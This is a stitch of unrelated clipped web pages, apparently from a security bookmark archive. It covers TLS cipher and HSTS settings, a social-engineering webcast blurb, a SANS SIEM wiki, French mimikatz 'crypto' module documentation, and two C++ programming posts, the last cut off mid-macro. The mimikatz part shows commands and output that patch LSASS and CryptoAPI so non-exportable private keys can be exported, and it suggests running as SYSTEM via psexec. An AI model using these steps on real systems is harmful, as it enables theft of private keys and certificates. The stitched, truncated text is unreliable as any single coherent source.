    ssl_ciphers DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:kEDH+AESGCM:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA;
    ssl_session_timeout 5m;
    ssl_session_cache shared:SSL:10m;
    
[/code]

View my current Nginx configuration for this site on GitHub.

The most important bits here are the `ssl_protocols`,
`ssl_prefer_server_ciphers`, and `ssl_ciphers` lines.

We snuff out older SSL versions with the `ssl_protocols` line. To help ensure
that the browser we only use the ciphers we want, `ssl_prefer_server_ciphers`
is turned on. Finally, `ssl_ciphers` specifies the list of ciphers that we are
OK with – along with a handful of conditions that we explicitly want to
exclude \(`!aNULL` to refuse ciphers without authentication, `!MD5` to refuse
ciphers with MD5, and so on\).

### Stricter Security with HSTS

HTTPS is great, but there are a lot of tiny things than can coerce a browser
to fall back to plain-text HTTP. An outdated anchor, a stubborn browser cache,
and a nefarious third party are all potential culprits.

Luckily, modern browsers have adopted a standard which allows the server to
tell browsers whether or not all web traffic should be done over a secure
connection.

This standard, HTTP Strict Transport Security \(HSTS\), is a simple header
that a server provides every time a client makes a request. The header
indicates for how long a browser should unconditionally refuse to take part in
unsecured HTTP connection for a specific domain.

If you are prepared to guarantee that your server should be available over
HTTPS _and only HTTPS_ indefinitely, the following Nginx directive will
enforce HSTS for modern browsers:

[code]

    add_header Strict-Transport-Security max-age=31536000;
    
[/code]

However, it is recommended you start out with a much smaller `max-age`, in
case things don’t work out or a misconfiguration wreaks havoc. Perhaps just 24
hours:

[code]

    add_header Strict-Transport-Security max-age=86400;
    
[/code]

Once you’re comfortable with the idea of your site being HTTPS-only, you can
bump this up to a few months or a year.

### Apache and Other Web Servers

Most of the configuration options described here can be easily translated to
Apache and other modern web servers. For instance, here’s Apache’s flavor of
the SSL cipher configuration described above:

[code]

    SSLProtocol all -SSLv2 -SSLv3
    SSLHonorCipherOrder on
    SSLCipherSuite DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:kEDH+AESGCM:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA
    
[/code]

And, to require HSTS for Apache \(you may need to enable `mod_headers`\):

[code]

    Header set Strict-Transport-Security "max-age=31536000;"
    
[/code]

Security is a neverending process, so it is important to stay aware of and
prepared to handle any change in the effectiveness of a cipher. Keeping an eye
on resources such as Mozilla’s Recommended Ciphersuites and SSL/TLS Deployment
Best Practices by Qualys SSL Labs is a good place to start.

**Updated December 20** : The preferred ciphers and their order more closely
match Mozilla’s recommendations, with the exception of preferring DHE over
ECDHE. Additionally, the Nginx built-in SSL session cache as been disabled for
performance reasons.

**Updated December 15** : SSL Labs has now capped the maximum score of any
server that supports RC4 to B as part of their end of year updates. In that
vein, this guide now suggests disallowing ciphers that use RC4 by removing any
preferred RC4 ciphers and adding RC4 to the exclusion list.

**Updated October 14** : The recommended SSL protocols were revised to remove
SSLv3 in light of the POODLE exploit.

This written work is licensed under a Creative Commons Attribution-ShareAlike
4.0 International License.

# The Ethical Hacker Network - Video: Modern Social Engineering Part II - Top
5 Ways to Manipulate Humans Over the Wire

**Created:**| _7/23/2009 10:30:39 PM_  
---|---  
**Updated:**| _7/23/2009 10:30:55 PM_  
**Author:**| __  
**Tags:**| _socialising_  
  
Video: Modern Social Engineering Part II - Top 5 Ways to Manipulate Humans Over the Wire | <img src='img/Temp2_7989.png' alt='PDF' />| <img src='img/Temp2_7990.png' alt='E-mail' />  
---|---|---  
In Part I, ** _Modern Social Engineering - A Vital Component of Pen Testing_**
, **Chris Nickerson & Mike Murray** adeptly covered the generalities of Social
Engineering, and how it is a repeatable process perfect for inclusion in
penetration testing. So let’s go a little deeper into crafting these attacks.
What are some of the tricks of the verbal trade that make people far more
likely to fall prey to those phishing attacks or that fraudulent web site?
What tools can I use to test and eventually utilize to attack… er… audit my
target organization? This 1-hour webcast dives deeper into the process of
**Electronic SE \(eSE\)** and offers real-world examples of combining the
skills of the social engineer with the toolkit of the ethical hacker. **The
entire hour and a half video of the webcast as well as the slide deck are
available below.**  
---

# Sec555 Wiki

**Created:**| _9/12/2018 5:39:04 AM_  
---|---  
**Updated:**| _9/12/2018 5:39:04 AM_  
**Author:**| _wishi_  
**Tags:**| _siem log-management_  
  

  

## Welcome to the SANS SEC555 Wiki

<img src='img/Temp2_7270.jpg' width='386' height='127' alt='Cyber Defense' />

### **`SEC555 Portal Version: 1.0.3`**

* * *
The goal of the SEC555 wiki is to provide knowledge to the security community.
As one gets better we all get better\! As such this is a free source of cyber
defense information primarily around Security Information Event Management
\(SIEM\) systems.

The other goal is for \(**SEC555: SIEM with Tactical
Analytics**\)\[https://www.sans.org/course/siem-with-tactical-analytics\]
students and is to increase the **in-class** , and, most importantly, **after-
class** value of the course material. It is also designed as a method to give
back to the security community by providing free information. This wiki is,
and likely always will be, very much a work in progress.

Contained in the wiki, you will find:

  * Tool and technique cheat sheets
  * Reference guides
  * Information about 555 instructors
  * Electronic Copies of the Lab Guides \(**copy and paste, FTW\!\!\!**\) \(**Digital labs are only available on student VM - SEC555 course attendees only**\)  
...and more

Note: If you are using the student VM included when taking SEC555 you have the
capability of turning on automatic wiki/lab updating.

## Recommendations - PLEASE READ

There are two things that are **highly recommended** to do before diving in.

  1. **Discover how to use the Smart Player**. Videos are played using Smart Player and there are some features you may not know exist without checking out this guide. The videos created in the wiki took a tremendous amount of time to put together due to adding many features that Smart Player allows such as searching for any word spoken by the presenter and jumping to that section of the video.
  2. If you are a SEC555 student, **enable automatic updates of the wiki and lab content**

## How to manually update the wiki

To manually update the wiki content run the command below.

[code]

    $ sudo pwsh -file /scripts/wiki_update.ps1
[/code]

## Enable Automatic Updates

This section only applies to students of SEC555 using the wiki within the
SEC555 course provided student virtual machine. In order to enable automatic
wiki/lab updating run the following command:

[code]

    sudo crontab -e
[/code]

Then uncomment the cron job for either the 9 AM automatic update or the update
after reboot \(or both\):

[code]

    # Uncomment the below entry to automatically update the SEC555
    # wiki. The default check occurs at 9 AM but can be changed.
    #0 9 * * * powershell -file /home/student/wiki_update.ps1
    
    # Uncomment the below entry to automatically update the SEC555
    # wiki after each reboot.
    #@reboot powershell -file /home/student/wiki_update.ps1
[/code]

When finished the cron entry should look similar to this:

[code]

    # Uncomment the below entry to automatically update the SEC555
    # wiki. The default check occurs at 9 AM but can be changed.
    0 9 * * * powershell -file /home/student/wiki_update.ps1
    
    # Uncomment the below entry to automatically update the SEC555
    # wiki after each reboot.
    @reboot powershell -file /home/student/wiki_update.ps1
[/code]

* * *
## Course/Lab/Wiki Bugs or Suggestions

* * *
Please let us know if you find any bugs in the courseware/labs/wiki we need to
squash. Also, reach out if you have suggestions to improve the course \(e.g.
content/labs/tools that should be added, removed, or updated\). The easiest
way to submit these improvements is by sending an email to
**justin@hasecuritysolutions.com**

* * *
## Alumni Mailing List

* * *
Join the 555 alumni Slack channel:

https://sec555.com/slack.php

* * *
  

# mimikatz :: crypto | Blog de Gentil Kiwi
**Created:**| _2/24/2014 9:23:42 PM_  
---|---  
**Updated:**| _2/24/2014 9:23:42 PM_  
**Author:**| __  
**Tags:**| _Memory forensics crypto_  
  

# **m** imikatz :: crypto****

## crypto****

_Petit module de manipulation de la CryptoAPI et CNG_

_Méthodes :_

* * *
### crypto :: listProviders****

**Description :** Énumère les fournisseurs de services cryptographiques, de la
CryptoAPI et CNG \(si disponible\)  
**Arguments :** n.a.  
**Exemple :** `crypto::listProviders`

| `mimikatz # crypto::listProviders``Providers CryptoAPI :``Microsoft Base
Cryptographic Provider v1**.** 0``Microsoft Base DSS and Diffie-Hellman
Cryptographic Provider``Microsoft Base DSS Cryptographic Provider``Microsoft
Base Smart Card Crypto Provider``Microsoft DH SChannel Cryptographic
Provider``Microsoft Enhanced Cryptographic Provider v1**.** 0``Microsoft
Enhanced DSS and Diffie-Hellman Cryptographic Provider``Microsoft Enhanced RSA
and AES Cryptographic Provider``Microsoft Exchange Cryptographic Provider
v1**.** 0``Microsoft RSA SChannel Cryptographic Provider``Microsoft Strong
Cryptographic Provider``SafeSign Standard Cryptographic Service
Provider``SafeSign Standard RSA and AES Cryptographic Service
Provider``Providers CNG :``Microsoft Primitive Provider``Microsoft Smart Card
Key Storage Provider``Microsoft Software Key Storage Provider``Microsoft SSL
Protocol Provider``SafeSign Key Storage Provider`  
---|---  
* * *
### crypto :: listStores****

**Description :** Énumère les magasin de certificats depuis un magasin système  
**Arguments :** nom du magasin système parmi :

  * `CERT_SYSTEM_STORE_CURRENT_USER` _\(par défaut\)_
  * `CERT_SYSTEM_STORE_LOCAL_MACHINE`
  * `CERT_SYSTEM_STORE_CURRENT_SERVICE`
  * `CERT_SYSTEM_STORE_SERVICES`
  * `CERT_SYSTEM_STORE_USERS`
  * `CERT_SYSTEM_CURRENT_USER_GROUP_POLICY`
  * `CERT_SYSTEM_LOCAL_MACHINE_GROUP_POLICY`
  * `CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE`

**Exemple :** `crypto::listStores CERT_SYSTEM_STORE_LOCAL_MACHINE`

| `mimikatz # crypto::listStores CERT_SYSTEM_STORE_LOCAL_MACHINE``Emplacement
:
'CERT_SYSTEM_STORE_LOCAL_MACHINE'``My``Root``Trust``CA``TrustedPublisher``Disallowed``AuthRoot``TrustedPeople``ADDRESSBOOK``Homegroup
Machine Certificates``Remote
Desktop``REQUEST``SmartCardRoot``SPC``TrustedDevices``Windows Live ID Token
Issuer`  
---|---  
**Informations :** http://msdn.microsoft.com/library/aa388136.aspx

* * *
### crypto :: listCertificates****

**Description :** Liste les certificats disponibles via un magasin système  
**Arguments :** `magasinSystem` `magasin`  
avec `magasinSystem` parmi :

  * `CERT_SYSTEM_STORE_CURRENT_USER` _\(par défaut\)_
  * `CERT_SYSTEM_STORE_LOCAL_MACHINE`
  * `CERT_SYSTEM_STORE_CURRENT_SERVICE`
  * `CERT_SYSTEM_STORE_SERVICES`
  * `CERT_SYSTEM_STORE_USERS`
  * `CERT_SYSTEM_CURRENT_USER_GROUP_POLICY`
  * `CERT_SYSTEM_LOCAL_MACHINE_GROUP_POLICY`
  * `CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE`

et `magasin` _libre_ , mais _souvent_ parmi :

  * `My` _\(par défaut\)_
  * `Root`
  * `NtAuth`
  * `Trust`
  * `CA`
  * `..**.**`

**Exemple :** `crypto::listCertificates
CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE NtAuth`

| `mimikatz # crypto::listCertificates
CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE NtAuth``Emplacement :
'CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE'\NtAuth``- AC Gentil Kiwi Network`  
---|---  
**Exemple :** `crypto::listCertificates CERT_SYSTEM_STORE_LOCAL_MACHINE
"Remote Desktop"`

| `mimikatz # crypto::listCertificates CERT_SYSTEM_STORE_LOCAL_MACHINE "Remote
Desktop"``Emplacement : 'CERT_SYSTEM_STORE_LOCAL_MACHINE'\Remote Desktop``-
kiwi.nirvana.local``Container Clé : TSSecKeySet1``Provider : Microsoft Strong
Cryptographic Provider``Exportabilité : NON``Taille clé : 2048`  
---|---  
* * *
### crypto :: listKeys****

**Description :** Liste les clés de l’utilisateur courant ou du système, via
CryptoAPI et CNG \(si disponible\)  
**Arguments :** `[system/machine] [provider providerType]`  
avec :

  * `system/machine` : pour utiliser le magasin machine, si vide le magasin utilisateur est utilisé
  * `provider` parmi la liste obtenue depuis `crypto::listProviders` ou : 
    * `MS_DEF_PROV`
    * `MS_ENHANCED_PROV` \(défaut\)
    * `MS_STRONG_PROV`
    * `MS_DEF_RSA_SIG_PROV`
    * `MS_DEF_RSA_SCHANNEL_PROV`
    * `MS_DEF_DSS_PROV`
    * `MS_DEF_DSS_DH_PROV`
    * `MS_ENH_DSS_DH_PROV`
    * `MS_DEF_DH_SCHANNEL_PROV`
    * `MS_SCARD_PROV`
    * `MS_ENH_RSA_AES_PROV`
    * `MS_ENH_RSA_AES_PROV_XP`
  * `providerType` parmi : 
    * `PROV_RSA_FULL` \(défaut\)
    * `PROV_RSA_SIG`
    * `PROV_DSS`
    * `PROV_FORTEZZA`
    * `PROV_MS_EXCHANGE`
    * `PROV_SSL`
    * `PROV_RSA_SCHANNEL`
    * `PROV_DSS_DH`
    * `PROV_EC_ECDSA_SIG`
    * `PROV_EC_ECNRA_SIG`
    * `PROV_EC_ECDSA_FULL`
    * `PROV_EC_ECNRA_FULL`
    * `PROV_DH_SCHANNEL`
    * `PROV_SPYRUS_LYNKS`
    * `PROV_RNG`
    * `PROV_INTEL_SEC`
    * `PROV_REPLACE_OWF`
    * `PROV_RSA_AES`

**Exemple :** `crypto::listKeys`

| `mimikatz # crypto::listKeys``[user] Clés CryptoAPI :``-
{D1157573-1599-463B-965F-F938770702FC}``Exportabilité : NON``Taille clé :
2048``- UCCP_Communicator``Exportabilité : NON``Taille clé : 1024``-
Application 001``Exportabilité : OUI``Taille clé : 2048``-
{EC2E9B41-70C7-4468-83F5-7C86DB3DABA5}``Exportabilité : NON``Taille clé :
2048``[user] Clés CNG :``-
kiwinanas.gentilkiwi.net-399c045d-bc3d-4ee2-8ea8-e39afc51a2a8``Exportabilité :
NON``Taille clé : 2048`  
---|---  
* * *
### crypto :: exportCertificates****

**Description :** Exporte les certificats disponibles via un magasin système  
**Arguments :** _voir`listCertificates`_  
**Remarques :**

  * La partie publique du certificat est exporté au format DER
  * La partie privée, si disponible, est inclue dans le PFX, protégé par mot de passe : `mimikatz`
  * La partie privée peut apparaitre indisponible, malgré les patchs, si les ACL de la clé sont restrictives**.** Ne pas hésiter à passer par `psexec -s ..**.**` pour travailler en `SYSTEM` dans certains cas, ou redéfinir les ACL sur le système de fichier

**Exemple :** `crypto::exportCertificates CERT_SYSTEM_STORE_LOCAL_MACHINE
"Remote Desktop"`

| `mimikatz # crypto::exportCertificates CERT_SYSTEM_STORE_LOCAL_MACHINE
"Remote Desktop"``Emplacement : 'CERT_SYSTEM_STORE_LOCAL_MACHINE'\Remote
Desktop``- kiwi.nirvana.local``Container Clé : TSSecKeySet1``Provider :
Microsoft Strong Cryptographic Provider``Exportabilité : NON``Taille clé :
2048``Export privé dans 'CERT_SYSTEM_STORE_LOCAL_MACHINE_Remote
Desktop_0_kiwi.nirvana.local.pfx' : KO``(0x8009000b) Clé non valide pour
l’utilisation dans l’état spécifié**.**``Export public dans
'CERT_SYSTEM_STORE_LOCAL_MACHINE_Remote Desktop_0_kiwi.nirvana.local.der' :
OK`  
---|---  
* * *
### crypto :: exportKeys****

**Description :** Exporte les clés disponibles, courantes ou machine  
**Arguments :** _voir`listKeys`_  
**Remarques :**

  * les clés sont au format PVK, mais sont manipulables par openssl \(`-inform pvk`\)
  * les clés peuvent apparaitre indisponibles, malgré les patchs, si les ACL des clés sont restrictives**.** Ne pas hésiter à passer par `psexec -s ..**.**` pour travailler en `SYSTEM` dans certains cas, ou redéfinir les ACL sur le système de fichier

**Exemple :** `crypto::exportKeys`

| `mimikatz # crypto::exportKeys``[user] Clés CryptoAPI :``-
{37DDE0FF-2591-4FA7-9F2E-1EDA6D3FED42}``Exportabilité : OUI``Taille clé :
1024``Export privé dans
'capi_user_6_{37DDE0FF-2591-4FA7-9F2E-1EDA6D3FED42}.pvk' : OK``[user] Clés CNG
:``-
kiwinanas.gentilkiwi.net-399c045d-bc3d-4ee2-8ea8-e39afc51a2a8``Exportabilité :
NON``Taille clé : 2048``Export privé dans
'cng_user_0_kiwinanas.gentilkiwi.net-399c045d-bc3d-4ee2-8ea8-e39afc51a2a8.pvk'
: KO``mod_cryptong::getPrivateKey/PrivateKeyBlobToPVK : (0x80090029)
L’opération demandée n’est pas prise en charge**.**`  
---|---  
* * *
### crypto :: patchcapi****

**Description :** Patch le provider CryptoAPI chargé dans mimikatz, les clés
privés « non exportables » deviennent « exportables »  
**Arguments :** n.a.  
**Exemple :** `crypto::patchcapi`

| `mimikatz # crypto::patchcapi``Patch CryptoAPI NT6 : OK``mimikatz #
crypto::exportCertificates CERT_SYSTEM_STORE_LOCAL_MACHINE "Remote
Desktop"``Emplacement : 'CERT_SYSTEM_STORE_LOCAL_MACHINE'\Remote Desktop``-
kiwi.nirvana.local``Container Clé : TSSecKeySet1``Provider : Microsoft Strong
Cryptographic Provider``Exportabilité : NON``Taille clé : 2048``Export privé
dans 'CERT_SYSTEM_STORE_LOCAL_MACHINE_Remote Desktop_0_kiwi.nirvana.local.pfx'
: OK``Export public dans 'CERT_SYSTEM_STORE_LOCAL_MACHINE_Remote
Desktop_0_kiwi.nirvana.local.der' : OK`  
---|---  
* * *
### crypto :: patchcng****

**Description :** Patch le provider CNG chargé dans LSASS, les clés privés
gérées par le KSP CNG « non exportables » deviennent « exportables »  
**Arguments :** n.a.  
**Remarques :**

  * nécessite des droits administrateurs
  * nécessite potentiellement le privilège `debug`
  * une fois LSASS patché, n’importe quel programme ou utilisateur sans privilège bénéficie de ce déblocage
  * la CNG étant bavarde au niveau de l’observateur d’événement, cette méthode essayera aussi de patcher ce comportement

**Exemple :** `crypto::patchcng`

| `mimikatz # privilege::debug``Demande d'ACTIVATION du privilège :
SeDebugPrivilege : OK``mimikatz # crypto::patchcng``Service : Isolation de clé
CNG``Recherche des patterns dans : ncrypt.dll@pid(536)``Patch
ncrypt.dll@pid(536) : OK``Service : Isolation de clé CNG``Recherche des
patterns dans : cngaudit.dll@pid(536)``Patch cngaudit.dll@pid(536) :
OK``mimikatz # crypto::exportKeys``[user] Clés CNG :``-
kiwinanas.gentilkiwi.net-399c045d-bc3d-4ee2-8ea8-e39afc51a2a8``Exportabilité :
NON``Taille clé : 2048``Export privé dans
'cng_user_0_kiwinanas.gentilkiwi.net-399c045d-bc3d-4ee2-8ea8-e39afc51a2a8.pvk'
: OK`  
---|---  
* * *
### Références****

****

# Eli Bendersky's website » Blog Archive » making sense of pointers

**Created:**| _9/8/2011 11:48:05 PM_  
---|---  
**Updated:**| _9/8/2011 11:48:05 PM_  
**Author:**| __  
**Tags:**| _C programming pointers_  
  

## making sense of pointers

May 14th, 2004 at 4:49 pm

C++ is a difficult language. I have a few years of experience with it, and
still there are a lot of things I don’t know. The more I learn, the more I
come to realize that it’s very hard to become a C++ guru. The distance between
a beginner \(someone after an introductory C++ book or a Uni class\) and an
expert is huge.

One of the most problematic issues in C and C++ is pointers. There’s a known
quote saying that “There are two kinds of programmers – those who understand
pointers, and those who don’t”. Pointers are dangerous and error-prone. Most
of the toughest bugs C/C++ programmers face are pointer related.

Hence, expert C++ programmers try to avoid “bare” pointers \(T\* pt = &t…\) as
much as possible. And in most cases, they suceed:

  * References elegantly solve the problem of “passing arguments by reference” \(rather than by value\). There’s no more need to pass a pointer to a function in order to avoid passing “heavy” objects, or to enable value return through this pointer. Const and non-const references can be used for this purpose, much more safely.
  * Constructors and destructors allow encapsulation of pointer members of classes, creating and deleting them in a controlled, safe way.
  * The excellent “string” class from the STL takes care of the endless char\* games C programmers tend to play so much.
  * STL containers leave almost no reason to build complicated, linked \(and hence error-prone\) data structures.
  * STL iterators encapsulate pointer-based traversal of these data structures.

And indeed, I find myself using pointers less and less, the more experienced I
become. Even when I use them, I try to safely “lock” them in classes.

But avoiding pointers is not always possible. For instance, containers of
pointers are sometimes useful \(e.g. to implement polymorphic behavior by
holding a container of different objects, implemented with pointers to derived
classes\).  
Another issue is exception safety. If some function allocates a pointer and
fiddles with it, releasing it in the end, it is apt to encounter memory leak
problems in case of thrown exceptions. If some called
function/operator/whatever throws an exception in the middle, the pointer will
not be deallocated, and if the exception is non-fatal, a memory leak will
occur.

Therefore, lately I’m trying to make sense, that is to \*really\* make sense
of smart pointers. Templated smart pointers allow encapsulating pointers to
any kind of object. But the issue is far from simple, since there are many
“object ownership” models people use pointers for. Identifying and safely
implementing these modules is difficult.

For instance, the popular \(and maybe the soon to become standard\) Boost
library has an implementation of smart pointers. It consists of no less than 6
classes \(4 smart pointers and 2 smart arrays\). Just understanding the
difference between the classes and knowing when to use each one requires deep
C++ knowledge and a lot of experience.

I’m digging in Boost’s docs, Alexandrescu’s Modern C++ design, and Meyers’
More Effective C++, each containting a lot of smart pointer info, plus a few
websites. Hope I will have good news to report…

# NovaHackers May Videos | NovaInfosecPortal.com
**Created:**| _5/15/2011 7:52:15 PM_  
---|---  
**Updated:**| _5/15/2011 7:52:15 PM_  
**Author:**| __  
**Tags:**| _conference-material_  
  
NovaHackers May Videos

# cnicholson.net » Stupid C++ Tricks: Adventures in Assert

**Created:**| _4/20/2012 7:08:47 PM_  
---|---  
**Updated:**| _4/20/2012 7:08:47 PM_  
**Author:**| __  
**Tags:**| _C++ programming_  
  

## Stupid C++ Tricks: Adventures in Assert

February 10, 2009

Tags: assert, c++, programming

This is a re-hosting of the original Assert article I wrote in April 2007,
during the epic rise and fall of Power of Two Games. I’m reprinting it here on
my personal site now that Pow2 is defunct and expired. Of the few reasons we
failed, the lack of a good assert macro was not one of them\!

Grab Pow2Assert.h and Pow2Assert.cpp, now under the MIT license\!

The simple joys of hack-and-slash prototyping are over\! We’re convinced the
gameplay is fun, so it’s time to buckle down and start coding “for real.”
We’re saying goodbye to the guilty pleasures of undisciplined C++ hacking and
hello to solid, well-engineered code. I recently had the pleasure of writing
our assert macros and came across some surprisingly challenging problems. This
article is about how to make your assert macro as bulletproof as possible when
you want it, and totally disappear into nothingness when you don’t.

We’re very aggressive about assert. Noel even cared enough a couple years ago
to stand up to the haters\! We assert everything from pointer function
parameters to Direct3D return codes. We use it everywhere so it’s got to be
absolutely rock solid. ”No problem,” you think, “assert is some beginner C++
stuff. I’m a C++ animal\! I can write assert macros in my sleep\!” Most assert
code looks something like this \(Assert::Fail is a function that does about
what you’d expect, report the assert and terminate the program\):

[code]

    #define POW2_ASSERT(x) \
        if (!x) { pow2::Assert::Fail(#x, __FILE__, __LINE__); }
    
[/code]

Take a minute right now and think of everything you’d fix about this assert
macro. If this code makes you run screaming for the hills \(and scheduling a
heart-to-heart with your lead programmer\), good for you\! If you look at this
code and think “yeah, that’s pretty cool chas, I dig that code\!” then unhook
the paint can from your face, keep reading, and promise me you won’t write any
assert macros until you’re done.

OK we’ll go step by step here, in order of severity \(and effect on
sanity\!\). Let’s start with the basics:

## 1\. Always wrap your macro parameters in parentheses.

Would you expect the following code to trigger an assert?

[code]

    POW2_ASSERT(true || false);
    
[/code]

The correct answer, by the way, is “absolutely not.” But look at what it
expands into when subjected to our awful assert macro:

[code]

    if (!true || false) { pow2::Assert::Fail(...); }
[/code]

Yeah, oops. “\!true || false” of course collapses into “false”, which causes
the assert to fire. Not what we want at all. The standard fix is to always
wrap your macro parameters in parentheses. The corrected macro thus far now
reads:

[code]

    #define POW2_ASSERT(x) \
        if (!(x)) { pow2::Assert::Fail(#x, __FILE__, __LINE__); }
[/code]

Not great, but slightly better.

## 2\. Wrap your macros in do \{ … \} while\(0\).

What would you expect to have happen here?

[code]

    if (x == 3)
        POW2_ASSERT(y == 4);
    else
        DoSomethingReallyImportant();
[/code]

The actual code is much different:

[code]

    if (x == 3)
        if (!(y == 4))
            pow2::Assert::Fail(...);
        else
            DoSomethingReallyImportant();
[/code]

Not so great. There are even scarier cases, too\! Anyway, the ‘canonical’ and
ugly-as-hell solution is to wrap your macros in a “do \{ … \} while\(0\)”
line. Note the lack of semicolon at the end there, it’s very important. It’s a
surprisingly involved discussion that I won’t rehash because it’s in the
comp.lang.c FAQ and you’re starting to get a little bored by now. Don’t worry,
the best fun is yet to come\!

Here’s our best stab at assert yet:

[code]

    #define POW2_ASSERT(x) \
        do { if (!(x)) { pow2::Assert::Fail(#x, __FILE__, __LINE__); } } while(0)
[/code]

## 3\. Go away\! Sit in the corner, face the wall; I don’t want to even know
you’re here.  

Asserts are great\! Let’s assert everywhere that our vectors are normalized\!
Let’s assert that our strings are all exactly 12,592 bytes long by scanning
for the first ‘\0′\! Let’s assert that every time we clear the back buffer,
each pixel is set to burnt umber\! Let’s figure out why we’re only rendering
at 1fps in release build\! Hmm.

A very nice thing to be able to do with assert is compile it out of existence.
The standard form looks something like this:

[code]

    #ifdef POW2_ASSERTS_ENABLED
        #define POW2_ASSERT(x) \
            do { if (!(x)) { pow2::Assert::Fail(#x, __FILE__, __LINE__); } } while(0)
    #else
        #define POW2_ASSERT(x)
    #endif
[/code]

OK, now it compiles out, and things are well and good, right? Sure, if you
like spurious compiler warnings.

[code]

    const bool success = DoStuff();  POW2_ASSERT(success);
[/code]

Gives us this output \(in MSVC8 but gcc gives an almost identical one\):

[code]

    main.cpp(7) : warning C4189: 'success' : local variable is initialized but not referenced
[/code]

Not great. These warnings only show up on MSVC’s \(level 4\) and gcc’s
\(-Wall\) highest warning levels, but they can be valuable in other situations
so we don’t want to disable them. We can try the standard cast-to-void trick:

[code]

    #define POW2_ASSERT(x) do { (void)(x); } while(0)
[/code]

But then x is still evaluated. Both gcc and MSVC are smart enough to optimize
out the evaluation of x, but only if they can determine if there are no side
effects associated with the evaluation. Unfortunately, this can only be done
if the body of x is known entirely to the compiler. If x is a function call to
another module MSVC can still make it go away with Link-Time Code Generation
\(via cross-module inlining\), but poor gcc is dead in the water and emits the
call. Either way, we’re relying on compiler and linker optimizations to make
this code go away.

This code:

[code]

    int main(int, char*[])
    {
        bool DoStuff(); // comes from another .cpp file
        POW2_ASSERT(DoStuff());
        return 0;
    }
[/code]

Causes gcc \(-O3 -pedantic -Wall –save-temps\) to emit the following assembly:

[code]

    _main:
    pushl %ebp
    movl $16, %eax
    movl %esp, %ebp
    subl $8, %esp
    andl $-16, %esp
    call __alloca
    call ___main
    call __Z7DoStuffv
    leave
    xorl %eax, %eax
    ret
[/code]

We’re not so crazy about the whole “call \_\_Z7DoStuffv” line, but at least
the compiler shut up. We’re halfway there, I suppose. The standard “UNUSED”
macro has the same problem:

[code]

    #define POW2_UNUSED(x) do { (void)(x); } while(0)
[/code]

This can be useful for shutting up warnings during deep spelunking in the
bowels of template code, but not here. The parameter is still evaluated and
now we’ve also got this extra little clingy macro that follows our assert
around everywhere. Nope, unused won’t do the trick here.

The best optimization you can ever do is to completely remove the code in
question. Both gcc and MSVC have pretty decent optimizing compilers, but why
bother requiring them to be good at their jobs? If there were a way we could
force assert to boil down to nothing when we want and not emit any spurious
warnings, we’d totally be money.

Boy, if only there were some C++ keyword that could syntactically accept
almost anything and be guaranteed not to emit any code.

Enter the ever-humble sizeof keyword. This little guy must be the absolute
bane of C++ compiler writers. Alexandrescu thoroughly exploits it in Modern
C++ Design, and we can steal a page from his playbook here. Let’s check the
C++ Standard, \(5.3.3\), shall we?

_The operand is either an expression, which is not evaluated, or a
parenthesized type-id.  
_  
Now I’m nowhere near as tricky as Alexandrescu or the slew of C++ luminaries
who have discovered new and insane things to do with this awful language, but
I know a useful keyword when I see it\! Baby, you had me at “which is not
evaluated”. Let’s rig it up and take it for a spin. Note that gcc will
correctly warn about the sizeof statement “having no effect,” but we can shut
that up easily enough using the cast-to-void trick mentioned earlier:

[code]

    #define POW2_ASSERT(x) do { (void)sizeof(x); } while(0)
[/code]

Our old test case now emits the following assembly in gcc:

[code]

    _main:
    pushl %ebp
    movl $16, %eax
    movl %esp, %ebp
    subl $8, %esp
    andl $-16, %esp
    call __alloca
    call ___main
    leave
    xorl %eax, %eax
    ret
[/code]

And on MSVC8:

[code]

    _main PROC
    xor eax, eax
    ret 0
    _main ENDP
[/code]

Our warnings are now silenced on both gcc and MSVC, too\! Looks pretty good to
me. Let’s look at our final code, which is getting much closer to our quality
bar:

[code]

    #ifdef POW2_ASSERTS_ENABLED
        #define POW2_ASSERT(x) \
            do { if (!(x)) { pow2::Assert::Fail(#x, __FILE__, __LINE__); } } while(0)
    #else
        #define POW2_ASSERT(x) \
